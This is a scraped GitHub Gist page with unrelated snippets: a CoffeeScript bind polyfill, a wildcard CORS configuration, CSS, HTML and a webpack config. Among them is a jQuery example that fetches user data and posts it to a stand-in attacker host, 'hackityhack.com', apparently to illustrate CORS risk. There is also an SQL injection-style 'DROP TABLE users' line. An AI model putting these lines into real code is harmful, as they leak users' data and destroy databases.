Skip to content

Instantly share code, notes, and snippets.

View Cfeusier's full-sized avatar

Clark Feusier Cfeusier

View GitHub Profile
@Cfeusier
Cfeusier / example.js
Last active September 12, 2015 16:35
console.log('hey there');
function randomFunc() {
return Math.random() * 100;
}
function logger(msg) {
console.log(msg);
}
@Cfeusier
Cfeusier / function_bind_polyfill.coffee
Created September 9, 2015 01:22
Polyfill for function.prototype.bind in coffeescript
if not Function.prototype.bind
Function.prototype.bind = (oThis) ->
if typeof @ is not 'function'
throw new TypeError 'Function.prototype.bind - what is trying to be bound is not callable'
aArgs = Array.prototype.slice.call arguments, 1
fToBind = @
fNOP = -> {}
fBound = ->
ctx = if @ instanceof fNOP then @ else oThis
innerArgs = Array.prototype.slice.call arguments

# NO. ### Readmes are for kids.
var corsOptions = {
"access-control-allow-origin": "*",
"access-control-allow-methods": "GET, POST, PUT, DELETE, OPTIONS",
"access-control-allow-headers": "content-type, accept",
"access-control-max-age": 10
};
$.get('https://origin-site.com/user-data', function(userData) {
$.post('http://hackityhack.com/users-to-exploit-data-storage', userData);
});
SELECT users.username FROM users
WHERE user.username = 'Username'
AND users.password = 'Password';
DROP TABLE users;
SELECT users.username FROM users
WHERE user.username = 'Username'
AND users.password = 'Password';
body {
background: beige;
}
ul {
list-style-type: none;
}
li {
display: inline-block;
<!DOCTYPE html>
<html lang=“en”>
<head>
<meta charset=“UTF-8”>
<title>Webpack test</title>
</head>
<body>
<script src=“bundle.js”></script>
</body>
module.exports = {
entry: ‘./app.js’,
output: {
path: __dirname,
filename: ‘bundle.js’
},
module: {
loaders: [
{ test: /\.css$/, loader: ‘style!css’ }
/* Add any other loaders here */